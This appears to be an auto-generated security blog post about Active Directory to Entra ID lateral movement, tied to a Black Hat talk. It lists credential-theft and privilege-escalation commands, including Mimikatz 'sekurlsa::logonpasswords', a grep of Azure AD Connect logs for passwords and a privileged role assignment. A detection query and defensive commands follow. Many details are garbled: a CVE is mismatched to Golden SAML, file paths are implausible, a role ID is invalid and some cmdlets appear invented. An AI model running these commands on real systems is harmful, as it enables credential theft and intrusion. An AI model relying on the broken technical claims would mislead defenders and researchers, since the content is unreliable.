Advanced Active Directory to Entra ID Lateral Movement Techniques

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Dirk-jan Mollema will present groundbreaking research on lateral movement techniques between Active Directory (AD) and Entra ID (formerly Azure AD) at Black Hat USA and potentially Def Con. This talk will reveal novel attack vectors for hybrid cloud environments.

You Should Know:

1. Enumerate Hybrid AD-Entra ID Trust Relationships

 Use AzureAD module to check hybrid join status 
Get-AzureADDevice -All $true | Where-Object { $_.DeviceTrustType -eq "ServerAd" }

Check federation trusts (ADFS/OAuth) 
Get-MgOrganization | Select-Object -ExpandProperty VerifiedDomains

2. Exploiting Azure AD Connect Sync

 Extract credentials from Azure AD Connect server (requires admin privileges) 
strings /var/opt/microsoft/azureadconnect/ac/data/msods..log | grep "PWD="

3. Golden SAML Attacks in Entra ID

 Forge SAML tokens using AD FS private key (CVE-2021-41379) 
Export-AdfsAuthenticationProviderConfigurationData -Name "AzureAD" -FilePath "C:\temp\saml_config.xml"

4. Lateral Movement via Hybrid Identity

 Use Mimikatz to extract AD credentials that sync to Entra ID 
sekurlsa::logonpasswords

5. Entra ID Privilege Escalation

 Abuse "Cloud App Admin" role to bypass Conditional Access 
Add-MgDirectoryRoleMember -DirectoryRoleId "cloudAppAdmin" -UserId "[email protected]"

6. Detecting Suspicious Token Requests

// KQL query for Azure Sentinel 
SigninLogs 
| where ResultType == "0" 
| where AppDisplayName has "Exchange" 
| where UserAgent contains "Python"

What Undercode Say

Hybrid identity systems (AD + Entra ID) introduce critical attack surfaces:
– Synchronized credential attacks: Compromising on-prem AD automatically impacts Entra ID via sync.
– Token replay risks: SAML/OAuth tokens forged in AD FS remain valid in Entra ID.
– Role chaining: Azure roles like “Hybrid Identity Administrator” grant cross-boundary access.

Key Commands for Defense:

 Monitor Azure AD Connect health 
Get-ADSyncScheduler | Select-Object LastSyncCycleResult

Enable Entra ID Identity Protection 
Set-MgIdentityProtectionPolicy -AllowedToUseSecurityDefaults $false 

 Linux systems with Entra ID integration 
sudo realm list --all | grep "azuread.com"

Expected Output:

  • Attack path visualizations of AD → Entra ID lateral movement.
  • Proof-of-concept scripts for token forgery and sync abuse.
  • Mitigation frameworks for hybrid identity architectures.

Prediction

By 2025, 60% of cloud breaches will originate from misconfigured hybrid identity trust relationships, with attackers increasingly targeting Azure AD Connect servers as pivot points.

Relevant URL: Black Hat USA 2024

References:

Reported By: Dirkjanm I – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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